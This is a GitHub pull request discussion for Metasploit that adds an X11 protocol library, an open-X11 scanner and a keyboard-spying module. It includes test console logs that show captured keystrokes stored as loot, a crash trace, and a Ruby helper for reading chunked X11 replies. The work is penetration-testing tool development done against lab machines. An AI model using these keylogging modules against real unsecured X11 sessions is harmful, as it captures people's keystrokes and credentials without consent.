Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New module to replicate xspy tool (and x11 library) #18877

Open
wants to merge 34 commits into
base: master
Choose a base branch
from

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Feb 22, 2024

This PR implements a rudimentary pure ruby X11 library, and a module to bind to open x11 sessions to perform keylogging. This is a replica of the xspy tool from forever ago.

When this lands I'll circle back around on adding the screenshot capability.

Verification

  • Create an open x11, i recommend the socat method.
  • Start msfconsole
  • try out the scanner modules per the docs

lib/msf/core/exploit/remote/x11/window.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/x11_keyboard_spy.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/x11_keyboard_spy.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/x11/open_x11.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/x11/open_x11_screenshot.rb Outdated Show resolved Hide resolved
spec/lib/msf/core/exploit/remote/x11.rb Outdated Show resolved Hide resolved
@h00die h00die marked this pull request as ready for review April 14, 2024 23:51
@h00die
Copy link
Contributor Author

h00die commented Apr 14, 2024

I'll give this another check tomorrow, I know some of the reviews have some notes to touch up, but I think its ready for review.

I'm going to do an x11 screenshot taker as well, so some of the lib functions aren't used yet, but wanted to get this in framework first before it gets too out of hand.

@smcintyre-r7 smcintyre-r7 self-assigned this Apr 17, 2024
@h00die
Copy link
Contributor Author

h00die commented Apr 17, 2024

@smcintyre-r7 you can go ahead and start reviewing. I know I need to update the open_x11 scanner docs, and a few other minor things. figured this may take a little bit since its so large

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I left quite a few comments, but overall things are looking pretty good. Thanks for this new protocol!

lib/msf/core/exploit/remote/x11.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11/extensions.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11/window.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11/window.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11/window.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/x11_keyboard_spy.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/x11_keyboard_spy.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/x11/open_x11.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/x11.rb Show resolved Hide resolved
@h00die
Copy link
Contributor Author

h00die commented Apr 22, 2024

got through some, just an update that I'm working on it, its not abandoned :)

@h00die
Copy link
Contributor Author

h00die commented Jul 12, 2024

prob worth a squash when this is ready to merge, no one needs to see 31+ commits where I learn to code gooderer.

@h00die
Copy link
Contributor Author

h00die commented Jul 12, 2024

I believe this is ready to look at again. It's undergone a lot of changes, so may want to treat it as a fresh PR.

lib/rex/proto/x11/window.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/x11/open_x11.rb Outdated Show resolved Hide resolved
@smcintyre-r7
Copy link
Contributor

I'm inconsistently getting the following stack trace. My target is an Ubuntu 22.04 x64 workstation where I installed socat. It seems like it's easier to reproduce the stack trace after rebooting. If I run the module a couple of times without rebooting the target, it'll work after 1 or 2 failures.

EOF Stack Trace
metasploit-framework.pr (S:0 J:0) auxiliary(gather/x11_keyboard_spy) > run
[*] Running module against 192.168.159.135

[*] 192.168.159.135:6000 - Establishing TCP Connection
[*] 192.168.159.135:6000 - [1/9] Establishing X11 connection
[+] 192.168.159.135:6000 - 192.168.159.135 - Successfully established X11 connection
[*] 192.168.159.135:6000 -   Vendor: The X.Org Foundation
[*] 192.168.159.135:6000 -   Version: 11.0
[*] 192.168.159.135:6000 -   Screen Resolution: 1918x920
[*] 192.168.159.135:6000 -   Resource ID: 20971520
[*] 192.168.159.135:6000 -   Screen root: 685
[*] 192.168.159.135:6000 - [2/9] Checking on BIG-REQUESTS extension
[+] 192.168.159.135:6000 -   Extension BIG-REQUESTS is present with id 133
[*] 192.168.159.135:6000 - [3/9] Enabling BIG-REQUESTS
[*] 192.168.159.135:6000 - [4/9] Creating new graphical context
[*] 192.168.159.135:6000 - [5/9] Checking on XKEYBOARD extension
[+] 192.168.159.135:6000 -   Extension XKEYBOARD is present with id 135
[*] 192.168.159.135:6000 - [6/9] Enabling XKEYBOARD
[*] 192.168.159.135:6000 - [7/9] Requesting XKEYBOARD map
[-] 192.168.159.135:6000 - Auxiliary failed: EOFError End of file reached
[-] 192.168.159.135:6000 - Call stack:
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/io.rb:316:in `read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/io.rb:278:in `readbytes'
[-] 192.168.159.135:6000 -   (eval):23:in `read_and_return_value'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/base_primitive.rb:129:in `do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `block in do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `each'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/array.rb:330:in `block in do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/array.rb:330:in `each'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/array.rb:330:in `do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `block in do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `each'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/struct.rb:140:in `do_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/base.rb:147:in `block in read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/base.rb:253:in `start_read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/base.rb:145:in `read'
[-] 192.168.159.135:6000 -   /home/smcintyre/.rvm/gems/ruby-3.2.3/gems/bindata-2.4.15/lib/bindata/base.rb:21:in `read'
[-] 192.168.159.135:6000 -   /home/smcintyre/Repositories/metasploit-framework.pr/modules/auxiliary/gather/x11_keyboard_spy.rb:211:in `run'
[*] Auxiliary module execution completed

PCap of the transaction when the stack trace occurred.
pr-18877-eof.zip

It may be simple enough to handle the EOF and carry on, I'm not entirely sure. I've definitely seen the module work, it's just this crash sometimes.

@h00die
Copy link
Contributor Author

h00die commented Nov 19, 2024

was about to ping you @smcintyre-r7 asking you to review, and realized I missed the notice that you already did!

I 100% believe this (even w/o evidence pcap), I've seen it every once in a while. My test box is a 22.04. I just rebooted, ran 10 times, vacuumed the office, ran 20 more times, ran it with ctr+c at random points (during setup, while listening), and ran another 20 times. Can't replicate, so I'll try another box, hopefully I can get it more consistently

@h00die
Copy link
Contributor Author

h00die commented Nov 19, 2024

@smcintyre-r7 I loaded up your pcap, extracted the last packet, put it into the spec and (after adjusting one checked value), it loaded w/o an EOF. So I've added some error handling so it wont crash, but I'm not sure why the EOF happened in the first place.

I'll uploaded some updated code later. I've added your pcap as an additional check as well.

@h00die
Copy link
Contributor Author

h00die commented Nov 20, 2024

Tested against 20.04, working.

msf6 auxiliary(gather/x11_keyboard_spy) > use auxiliary/scanner/x11/open_x11
msf6 auxiliary(scanner/x11/open_x11) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/x11/open_x11) > set verbose true
verbose => true
msf6 auxiliary(scanner/x11/open_x11) > run

[+] 1.1.1.1:6000   - 1.1.1.1 - Successfully established X11 connection
[*] 1.1.1.1:6000   -   Vendor: The X.Org Foundation
[*] 1.1.1.1:6000   -   Version: 11.0
[*] 1.1.1.1:6000   -   Screen Resolution: 800x600
[*] 1.1.1.1:6000   -   Resource ID: 31457280
[*] 1.1.1.1:6000   -   Screen root: 1320
[*] 1.1.1.1:6000   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/x11/open_x11) > use auxiliary/gather/x11_keyboard_spy
msf6 auxiliary(gather/x11_keyboard_spy) > set verbose true
verbose => true
msf6 auxiliary(gather/x11_keyboard_spy) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(gather/x11_keyboard_spy) > run
[*] Running module against 1.1.1.1

[*] 1.1.1.1:6000 - Establishing TCP Connection
[*] 1.1.1.1:6000 - [1/9] Establishing X11 connection
[+] 1.1.1.1:6000 - 1.1.1.1 - Successfully established X11 connection
[*] 1.1.1.1:6000 -   Vendor: The X.Org Foundation
[*] 1.1.1.1:6000 -   Version: 11.0
[*] 1.1.1.1:6000 -   Screen Resolution: 800x600
[*] 1.1.1.1:6000 -   Resource ID: 31457280
[*] 1.1.1.1:6000 -   Screen root: 1320
[*] 1.1.1.1:6000 - [2/9] Checking on BIG-REQUESTS extension
[+] 1.1.1.1:6000 -   Extension BIG-REQUESTS is present with id 134
[*] 1.1.1.1:6000 - [3/9] Enabling BIG-REQUESTS
[*] 1.1.1.1:6000 - [4/9] Creating new graphical context
[*] 1.1.1.1:6000 - [5/9] Checking on XKEYBOARD extension
[+] 1.1.1.1:6000 -   Extension XKEYBOARD is present with id 136
[*] 1.1.1.1:6000 - [6/9] Enabling XKEYBOARD
[*] 1.1.1.1:6000 - [7/9] Requesting XKEYBOARD map
[*] 1.1.1.1:6000 - [8/9] Enabling notification on keyboard and map
[*] 1.1.1.1:6000 - [9/9] Creating local keyboard map
[+] 1.1.1.1:6000 - All setup, watching for keystrokes
[-] 1.1.1.1:6000 - No X11 key presses observed
[+] 1.1.1.1:6000 - X11 Key presses observed: testtesttesett
[-] 1.1.1.1:6000 - No X11 key presses observed
[-] 1.1.1.1:6000 - No X11 key presses observed
[*] 1.1.1.1:6000 - Closing X11 connection
[-] 1.1.1.1:6000 - No X11 key presses observed
[+] 1.1.1.1:6000 - Logged keys stored to: /root/.msf4/loot/20241120070808_default_1.1.1.1_x11.keylogger_400456.txt
[*] Auxiliary module execution completed

@h00die
Copy link
Contributor Author

h00die commented Nov 21, 2024

Pushed in the most recent copy I have.

I've theorized the problem on why your crashed. It's a network thing, the packet reading isn't getting all the data read in to a variable off the wire. It then tries to bin parse the data, hits EOF because it didn't read it all in. I remember this happening before when I first started this module off, but its been so long I dont remember how I fixed it.

At a minimum, now it won't crash, but exit gracefully.

@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Nov 26, 2024

I looked into this some more and finally found some information about how the #response_length field is calculated. I then turned that into this method that can be used to read a reply from the socket with the specified timeout which is applied to the entire reply, not each individual read operation.

This would probably be pretty useful in a mixin, since you can give it the class and read the reply instead of hoping that get_once didn't just return part of the data.

  def read_x11_reply(klass, timeout: 10)
    unless klass.fields.field_name?(:response_length)
      raise ::ArgumentError, 'X11 class must have the response_length field to be read'
    end

    remaining = timeout
    reply_instance = klass.new

    metalength = reply_instance.response_length.num_bytes
    buffer, elapsed_time = Rex::Stopwatch.elapsed_time do
      sock.read(reply_instance.response_length.abs_offset + metalength, remaining)
    end
    remaining -= elapsed_time

    # see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#reply_format
    response_length = reply_instance.response_length.read(buffer[-metalength..-1]).value
    response_length *= 4 # field is in 4-byte units
    response_length += 32 # 32 byte header is not included

    while buffer.length < response_length && remaining > 0
      chunk, elapsed_time = Rex::Stopwatch.elapsed_time do
        sock.read(response_length - buffer.length, remaining)
      end

      remaining -= elapsed_time
      break if chunk.nil?

      buffer << chunk
    end

    unless buffer.length == response_length
      if remaining <= 0
        raise Rex::TimeoutError, 'X11: failed to read response due to timeout'
      end

      raise ::EOFError, 'X11: failed to read response'
    end

    reply_instance.read(buffer)
  end

With that in place, you can then update the code you originally had with error catching to this and it should work much more reliably. Any time you're trying to read an X11 reply message, this method should really be used to ensure that chunked data is handled correctly.

    map_data = read_x11_reply(X11GetMapReply)

Let me know if you'd like me to PR the changes to your branch.

@adfoster-r7
Copy link
Contributor

Instead of the manual loop in the metasploit module - I believe there's a timed_read function in the rex core API too if that's at all useful, although it uses Timeout which isn't the best pattern - but that's something that could be swapped out separately

https://github.com/rapid7/rex-core/blob/c823cd42554ef624e0ef6e86104215ca393a3391/lib/rex/io/stream.rb#L173-L185

Or if that's already been considered, it'd be great to understand why it's not a viable method to call in this context 👀

@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Nov 26, 2024

it'd be great to understand why it's not a viable method to call in this context

It's viable sure, but I think this is better for the following reasons:

  1. timed_read does not always return the amount of data that was requested, so we'd still need to loop ourselves until all the data is read. This by the way seems like a deal breaker for me in any case where I can think to call this function. The only time less data than was requested should be returned before the timeout has expired is if the remote end closed the connection and even then, I'd prefer a timeout error because the amount of data that was requested was unlikely to be arbitrary.
  2. timed_read will raise an exception for us but by raising it ourselves we can add extra information like the fact that it's an X11 request, why the read failed and what we were trying to read.
  3. This follows the pattern I originally added to rex/proto/kerberos/client.rb in PR Fix Chunked Kerberos Responses #17455 which has since been copied to additional clients with minor modifications.

While looking through point 3, I noticed it does look like #read is used more often than #get_once so I guess for the best degree of consistency we should be using that so I'll switch that over in my recommendation.

@h00die
Copy link
Contributor Author

h00die commented Nov 27, 2024

Let me know if you'd like me to PR the changes to your branch.

Sure!

smcintyre-r7 and others added 2 commits November 27, 2024 15:19
Consistently refer to replys as responses
@h00die
Copy link
Contributor Author

h00die commented Nov 29, 2024

I ran this 50 times (5 sec each) vs my test box, didn't have any crashes (although didn't have any/many before). This is a VM running on the same network 1 hop away).
next ran it for 10min, again, no crashes. Included tons of keystrokes for testing as well.

I'm happy with these changes, and ready to have this landed!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: In Progress
Development

Successfully merging this pull request may close these issues.

5 participants